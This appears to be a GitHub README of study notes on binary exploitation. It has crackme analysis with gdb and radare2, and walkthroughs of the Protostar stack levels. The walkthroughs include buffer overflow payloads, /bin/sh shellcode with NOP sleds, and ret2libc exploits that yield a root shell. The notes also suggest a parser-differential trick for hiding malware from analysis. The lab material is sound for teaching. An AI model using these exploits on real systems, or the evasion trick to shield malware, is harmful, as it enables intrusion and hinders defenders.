Skip to content

Basic binary exploitation | Working of Malwares/Binaries | Obfuscation to avoid antivirus | Parser Differential to avoid analysis of Binary/Malwares

Notifications You must be signed in to change notification settings

ocdbytes/BinaryExploitation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Binary Exploitation

Assembly Language (Basics)

Practice on : https://microcorruption.com/debugger/New%20Orleans

Read basic instructions in assembly like :

  • compare
  • jump
  • add
  • move
  • subtract
  • goto
  • push
  • pop

.... etc.

Focus on Memory and Stack instructions

Cracking a Binary

Github Link : https://github.com/LiveOverflow/liveoverflow_youtube/tree/master/0x05_simple_crackme_intro_assembler

Download the resources

wget https://raw.githubusercontent.com/LiveOverflow/liveoverflow_youtube/master/0x05_simple_crackme_intro_assembler/gdb_disassembly
wget https://raw.githubusercontent.com/LiveOverflow/liveoverflow_youtube/master/0x05_simple_crackme_intro_assembler/license_1.c

### After getting compile the binary

gcc license_1.c -o license

It's a simple program which checks if a license is valid or not by taking a input as an argument. To see binary assembly code

gdb "binary_name"

Always set the view as : set disassembly-flavor intel To disassemble a function : disassemble "func_name"

Analyse the assembly Code -> :)

GDB Commands :

  • break (star)"point_where_to_break" : Eg, break *main
  • info registers : To get the info about the basic memory layout
  • si : to go through the code by instruction wise and stopping each time
  • ni : to go through the code by executing the function first and then stopping on the first instruction
  • run / run "args" : to start the program
  • set "memory_pointer" : Eg, set $eax=0, This will set the eax pointer to 0

Tools :

  • radare2
  • Hopper Disassembler
  • strings
  • objdump
  • hexdump

Radare 2 Commands :

r2 binary_name
  • aaa : to analyse all the functions
  • afl : to analyse and list the functions
  • ? : to get the help menu for commands
  • pdf : to display the disassembled code of a function
  • s "func/point" : this will set the address to what we are giving as input to point. Eg, s sym.main
  • VV : To get graphical view / control graph

Let's try to make our code more safe

Step 1 : let's not store the string as it is in the code Step 2 : Compare the sum of ascii's of the input with the sum of the real key

Now our program is :

#include <string.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
        if(argc==2) {
                printf("Checking License: %s\n", argv[1]);
                int sum = 0;
                for(int i = 0; i < strlen(argv[1]);i++){
                        sum += (int)argv[1][i];
                }
                if(sum == 916) {
                        printf("Access Granted!\n");
                } else {
                        printf("WRONG!\n");
                }
        } else {
                printf("Usage: <key>\n");
        }
        return 0;
}

Using Radare 2 analyse the compiled binary and getting the way to bypass checks. Now making safe doesn't work so now we move to a new approach which is :

USING A PARSER DIFFERENTIAL

What is this and what it will do ?

-> Now as we know that we can run the binary in linux system and we can also pass it through gdb and radare2 to analyse but what if we can do something so that we will still be able to run the binary but we aren't able to pass it through GDB and radare like softwares

Let's write a python script for achieving our goal. fuzzer.py in 0x08 folder

Uses :

  • We can use this fuzzing technique to hide the working of our malware and stop people from analysing it.
  • To make the code uncrackable

The script above is not written in professional way but it gives us a glimpse of how the Parser Differential works.

More on this topic

SysCalls : Bridge between Kernel Mode and User Mode

Now we need to practise our skills in binary exploitation

Protostar

We need to download the VM from : https://exploit.education/downloads/

  • Download Protostar
  • Install it in virtual box

Login Creds

username : user password : user

Machine Page : https://exploit.education/protostar/ All the binaries which need to be exploited can be found in /opt/protostar/bin

Stack 0

This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

  1. Here we will now boot up the machine with given creds. It will look something like this

  2. Navigate to /opt/protostar/bin

  3. The code of binary is given to us and now analyse it with gdb

  4. Let's understand the terminologies in the assembly code

POINTERS
--------

ebp = base pointer (it is at the bottom of the stack)
eip = instruction pointer
esp = stack pointer


INSTRUCTIONS
------------

call = this will put the address on the top of the stack
leave = this will pop all the local variable space in the stack
  1. Now one thing we all know that never to use gets() function in c. It is dangerous.
  2. Set the breakpoint of the program at the get instruction in the following asm program
0x0000555555555149 <+0>:     push   rbp
0x000055555555514a <+1>:     mov    rbp,rsp
0x000055555555514d <+4>:     sub    rsp,0x60
0x0000555555555151 <+8>:     mov    DWORD PTR [rbp-0x54],edi
0x0000555555555154 <+11>:    mov    QWORD PTR [rbp-0x60],rsi
0x0000555555555158 <+15>:    mov    DWORD PTR [rbp-0x4],0x0
0x000055555555515f <+22>:    lea    rax,[rbp-0x50]
0x0000555555555163 <+26>:    mov    rdi,rax
0x0000555555555166 <+29>:    mov    eax,0x0
0x000055555555516b <+34>:    call   0x555555555040 <gets@plt>  <--- this is the gets instruction
0x0000555555555170 <+39>:    mov    eax,DWORD PTR [rbp-0x4]
0x0000555555555173 <+42>:    test   eax,eax                    <--- here it is comparing the variables to 0
0x0000555555555175 <+44>:    je     0x555555555188 <main+63>
0x0000555555555177 <+46>:    lea    rax,[rip+0xe8a]        # 0x555555556008
0x000055555555517e <+53>:    mov    rdi,rax
0x0000555555555181 <+56>:    call   0x555555555030 <puts@plt>        <--- print statements
0x0000555555555186 <+61>:    jmp    0x555555555197 <main+78>
0x0000555555555188 <+63>:    lea    rax,[rip+0xea2]        # 0x555555556031
0x000055555555518f <+70>:    mov    rdi,rax
0x0000555555555192 <+73>:    call   0x555555555030 <puts@plt>        <--- print statements
0x0000555555555197 <+78>:    mov    eax,0x0
0x000055555555519c <+83>:    leave
0x000055555555519d <+84>:    ret

In GDB

break *0x000055555555516b  # on gets
break *0x0000555555555170  # after gets
  1. We will enter some commands for gdb to execute when we hit the break point we can do it by setting the hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers
>x/24wx $esp
>x/2i $eip
>end

Now every time we hit a break point we will get the registers info and we will get the next two instructions which will be executed after the breakpoint

  1. Now restart the program using r and as soon we hit the breakpoint we get the registers with the values

  2. Now continue (c) the program and enter bunch of A's and now observe the register values and we see that there are bunch of 0x41414141. These values are nothing but the A's we provided --> "A" = char(0x41)

  3. To check the content of the register which is being compared to zero we will use

(gdb) x/wx $esp+0x5c
# OUTPUT ->  0x000000000
  1. Now we need to edit this but we need to count how many chars do we need to edit this. Let's count it from the output above and we will come to know that we need 64+ chars to edit our stack pointer $esp+0x5c

  2. generate sting using python

python3 -c 'print("A"*70)'

Now copy and paste in gdb after restarting the execution

  1. And we have our result our pointer is edited to confirm check again using
x/wx $esp+0x5c
#OUTPUT -> 0x41414141
  1. This kind of behavior is actually a vulnerability called Buffer Overflow

Now we have solved our first stack vulnerabity

Stack 3

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

  1. Boot up the machine with given credentials.
  2. navigate to /opt/protostar/bin.
  3. Run the stack3 binary to check the behavior.
  4. Open the binary in gdb and analyse.
  5. Disassemble the Code and Analyse the main and win function.
  6. Now we need to know where our win() function lies in the memory so for that we will use :
(gdb) x win
  1. This will give the address of the win() function.
  2. Now after analysing the assembly output of the main function we are able to find that the value fp; is called as a function if it is not equal to zero.
  3. Let's do some gdb stuff now
(gdb) break *(address_of_the_last_fp_call)
(gdb) r
---> After running provide input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) info registers
  1. Now we can see that our register eax is 0x41414141, this is nothing else but the A's we provided.
  2. Now we will write a simple script to know the offset till where our buffer is limited and where overflow is happening. (script in /stack3 directory) (script_name = "check_offset.py")
  3. Now we will pip the output of the offset script in gdb and get the offset.
# compile the script and store the output
python /tmp/check_offset.py > /tmp/out

# Open the binary in gdb
(gdb) disassemble main
(gdb) break *(address_of_the_last_fp_call)
(gdb) r < /tmp/out
(gdb) info registers

  1. As we can see that our offset is at 0x51515151 exactly so this means that our buffer started to overflow when the letter Q appears so now create another script which will call our win function. (script in /stack3 directory) (script_name = "exploit.py")
(gdb) disassemble main
(gdb) break *(address_of_the_last_fp_call)
(gdb) r < /tmp/out
(gdb) info registers

  1. Now after piping the output to the binary in gdb we can see that our eax pointer is set to 0x08048424, therefore our next execution call will be win() function.
(gdb) c

  1. And we see our output as 'code flow successfully changed' we can confirm it using
python /tmp/exploit.py | ./stack3

VOILA, stack 3 binary is exploited. Similarly stack4 can also be solved :)

Stack 4

Solved !! scripts in directory stack4

Stack 5

Stack5 is a standard buffer overflow, this time introducing shellcode.

Analyse the binary in GDB

  • Let's make a break point at "return" of the main function
  • Now we need to analyse the registers so we will make a hook-stop
> x/1i $eip
> x/8wx $esp
> end

x/1i $eip : To read the first instruction at the instruction pointer. x/8wx $esp : Examine 8 words in hex from the stack. end : to end the hook

Let's provide the input as the offset string generated by the offset.py program

(gdb) r < /tmp/offset

Now after continuing check the info registers to get the esp value so that we can append it to the exploit string

Let's create the exploit

string = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\x20\xf8\xff\xbf"  # 0xbffff820 = $esp (after return)
# This is INT 3 instruction to stop the execution and then execute somehing else
payload = "\xCC" * 4

print(string+eip+payload)

Viola 🎉 !! We got SIGTRAP Error which is a trace/breakpoint trap

Now if we run the code we will get ILLEGAL INSTRUCTION

Why is this happening ?

The main reason for this is different execution environments for our input and the gdb instruction. We can understand more from this.

We can notice differnet addresses in the Environment Variables 🧮

How to overcome this ?

  • Disable ENV variables before running the program
  • Use number of NOP (No Operation instruction)

We will use the second technique to overcome this addressing problem. Modify the exploit 🧰

string = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\x20\xf8\xff\xbf"  # 0xbffff820 = $esp (after return)
# This is INT 3 instruction to stop the execution and then execute somehing else
payload = "\x90" * 100 + "\xCC" * 4 # \x90 : NOP instruction

print(string+eip+payload)

Now if we run the code we will get Trace/Breakpoint Trap 🎉

Now we will access shell using the shell code from : http://www.shell-storm.org/shellcode/files/shellcode-811.php

"\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";

Let's design the exploit :

string = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\x20\xf8\xff\xbf"  # 0xbffff820 = $esp (after return)
nops = "\x90" * 100  # \x90 : NOP instruction

# SHELLCODE
# ---------
# This is the shellcode to execute /bin/bash

payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";

print(string+eip+nops+payload)

Now we will execute the binary with our exploit output and cat to get an interactive shell

(python3 fin_exp.py ; cat) > ./stack5

Stack 6

Stack6 looks at what happens when you have restrictions on the return address. This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming. It is strongly suggested you experiment with multiple ways of getting your code to execute here.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64]; // buffer of 64 bytes
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);  // __builtin_return_address -> this function returns the return address of the function (current one / caller one)

  if((ret & 0xbf000000) == 0xbf000000) {  // This function is checking if the address starts with 0xbf it will exit the code and print the result given below (bzzzt)
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer); // We need our code to be exited here and hit the Trace/Breakpoint Trap
}

int main(int argc, char **argv)
{
  getpath(); // Calling getpath()
}

Now the exploit we developed previously willnot work this time because of the if statement checking the condition of the memory return Address we can try doing it and we will get the result as "bzzzt 0xbf**__**(any address)"

Now we need to bypass this 0xbf thing and execute our code from the buffer

(gdb) set disassembly-flavor intel
(gdb) disassemble main
(gdb) break *getpath          ----> To set a breakpoint at the address where getpath is called in the main function.
(gdb) r
(gdb) info proc map

As we can see here that the only addresses which are on the stack are starting with "0xbf--------". This is the problem for us. Now what we will do is we will replce our return address with the return address of getpath() function.

This is what will happen then :

  • First the function will call the return which we provided in the stack
  • This will bypass the if statement check of 0xbf
  • Now the function will return itself
  • Now the next address on the stack will be 0xbf------- (which is what we need to jump back in the stack in order to execute our shellcode)

Let's design an exploit for that :

import struct
string = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0xbffff7c0+32)
return_addr = struct.pack("I", 0x080484f9)
trap = "\xCC" * 100

print(string+return_addr+eip+trap)

In GDB :

(gdb) disassemble getpath
(gdb) break *0x080484f9
(gdb) r < /tmp/stack6
(gdb) x/4wx $esp
(gdb) si
(gdb) x/4wx $esp
(gdb) si
(gdb) c

VIOLA 🎉 !! We have ou exploit done We recieved our TRAP/BREAKPOINT. Now we can execute our shellcode or binary code to get our desired access

Stack 7

This stack is similar to the previous stack in which we need to use the rit2libc technique to solve this challenge. Now first analyse the breakpoints and the eip and esp pointers after setting the breakpoint at the getpath() function.

Get Path Function

0x0000000100003e30 <+0>:     push   rbp
0x0000000100003e31 <+1>:     mov    rbp,rsp
0x0000000100003e34 <+4>:     sub    rsp,0x60
0x0000000100003e38 <+8>:     mov    rax,QWORD PTR [rip+0x1c1]        # 0x100004000
0x0000000100003e3f <+15>:    mov    rax,QWORD PTR [rax]
0x0000000100003e42 <+18>:    mov    QWORD PTR [rbp-0x8],rax
0x0000000100003e46 <+22>:    lea    rdi,[rip+0x12f]        # 0x100003f7c
0x0000000100003e4d <+29>:    mov    al,0x0
0x0000000100003e4f <+31>:    call   0x100003f24
0x0000000100003e54 <+36>:    mov    rax,QWORD PTR [rip+0x1ad]        # 0x100004008
0x0000000100003e5b <+43>:    mov    rdi,QWORD PTR [rax]
0x0000000100003e5e <+46>:    call   0x100003f18
0x0000000100003e63 <+51>:    lea    rdi,[rbp-0x50]
0x0000000100003e67 <+55>:    call   0x100003f1e
0x0000000100003e6c <+60>:    mov    rax,QWORD PTR [rbp+0x8]
0x0000000100003e70 <+64>:    mov    DWORD PTR [rbp-0x54],eax
0x0000000100003e73 <+67>:    mov    eax,DWORD PTR [rbp-0x54]
0x0000000100003e76 <+70>:    and    eax,0xb0000000
0x0000000100003e80 <+80>:    jne    0x100003ea1 <getpath+113>
0x0000000100003e86 <+86>:    mov    esi,DWORD PTR [rbp-0x54]
0x0000000100003e89 <+89>:    lea    rdi,[rip+0x100]        # 0x100003f90
0x0000000100003e90 <+96>:    xor    eax,eax
0x0000000100003e92 <+98>:    call   0x100003f24
0x0000000100003e97 <+103>:   mov    edi,0x1
0x0000000100003e9c <+108>:   call   0x100003f12
0x0000000100003ea1 <+113>:   lea    rsi,[rbp-0x50]
0x0000000100003ea5 <+117>:   lea    rdi,[rip+0xf0]        # 0x100003f9c
0x0000000100003eac <+124>:   mov    al,0x0
0x0000000100003eae <+126>:   call   0x100003f24
0x0000000100003eb3 <+131>:   lea    rdi,[rbp-0x50]
0x0000000100003eb7 <+135>:   call   0x100003f2a
0x0000000100003ebc <+140>:   mov    QWORD PTR [rbp-0x60],rax
0x0000000100003ec0 <+144>:   mov    rax,QWORD PTR [rip+0x139]        # 0x100004000
0x0000000100003ec7 <+151>:   mov    rax,QWORD PTR [rax]
0x0000000100003eca <+154>:   mov    rcx,QWORD PTR [rbp-0x8]
0x0000000100003ece <+158>:   cmp    rax,rcx
0x0000000100003ed1 <+161>:   jne    0x100003ee1 <getpath+177>
0x0000000100003ed7 <+167>:   mov    rax,QWORD PTR [rbp-0x60]
0x0000000100003edb <+171>:   add    rsp,0x60
0x0000000100003edf <+175>:   pop    rbp
0x0000000100003ee0 <+176>:   ret
0x0000000100003ee1 <+177>:   call   0x100003f0c
0x0000000100003ee6 <+182>:   ud2
0x0000000100003ee8 <+184>:   nop    DWORD PTR [rax+rax*1+0x0]
(gdb) set disassembly-flavor intel
(gdb) disassemble getpath
(gdb) break getpath
(gdb) r
(gdb) x/i $eip # eip pointer -> Next instruction to be executed
(gdb) x/80x $esp # This will give us the top 80 address/instructions from the stack
(gdb) c

Now we will run this by setting the hook-stop with offset as an input

Setting the hook-stop

(gdb) set hook-stop
> info registers
> x/3i $eip
> x/80x $esp
> end

Setting the breakpoint after the gets() function address and running the program and continuing the execution

(gdb) break *0x080484ef
(gdb) r < /tmp/offset
(gdb) c

Now we got segmentation fault at address 0x55555555 => char(0x55) => 'U' We have our offset now which is from 'A' to 'T' all 4 chars. This string will look like : AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT

Let's develop a python script for this :

  • We need to first get the "/bin/sh" address in the system
  • Then we need to point the $eip to execute the "/bin/sh" as root

Getting system address in gdb

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

# System Address : 0xb7ecffb0

Let's get the libc address in gdb

(gdb) info proc map

Now we know our libc address let's get the "/bin/sh" address in gdb

(gdb) find &system, +9999999, "/bin/sh"

We got the address as : 0xb7fba23f for "/bin/sh" in gdb. Let's cross check if it is the "/bin/sh" or not ?

(gdb) x/s 0xb7fba23f

# OUTPUT :
0xb7fba23f:  "KIND in __gen_tempname\""

This is a wrong address we need to find the real address of "/bin/sh" in gdb. Let's use strings module to find the real address (I got this method from a blog)

user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh

# OUTPUT :
11f3bf /bin/sh

Now to get the /bin/sh address we will add 11f3bf to libc address which would be :

0xb7e97000 + 11f3bf = 0xb7fb63bf

Let's check if this is the real address of /bin/sh

(gdb) x/s 0xb7fb63bf

Voila !! 🎉 we got the real address

Exploit :

buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"  # padding
system_address = "\xb0\xff\xec\xb7"  # system : 0xb7ecffb0
drag = "AAAA"
bin_sh = "\xbf\x63\xfb\xb7"  # /bin/sh : 0xb7fb63bf

exploit_string = buffer + system_address+drag + bin_sh
print(exploit_string)
user@protostar:/opt/protostar/bin$ python /tmp/exploit.py > /tmp/exploit

Let's run the exploit with this string

user@protostar:/opt/protostar/bin$ python /tmp/exploit.py | ./stack7

# OUTPUT

input path please : bzzzt (0xb7ecffb0)

Now we need to bypass the filter so for that we will first go to the return address of the getpath() function. Address of the "ret" instruction in getpath() : 0x08048544

Now our new exploit will become :

buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"  # padding
ret = "\x44\x85\x04\x08" # return address of getpath()
system_address = "\xb0\xff\xec\xb7"  # system : 0xb7ecffb0
drag = "AAAA"
bin_sh = "\xbf\x63\xfb\xb7"  # /bin/sh : 0xb7fb63bf

exploit_string = buffer + ret + system_address + drag + bin_sh
print(exploit_string)

Wooohoooo !! We have what we wanted a SEGMENTATION FAULT after the binary execution

Gaining the root shell

(python /tmp/exploit.py ;cat) | ./stack7

We got the f**king shell with root access

About

Basic binary exploitation | Working of Malwares/Binaries | Obfuscation to avoid antivirus | Parser Differential to avoid analysis of Binary/Malwares

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published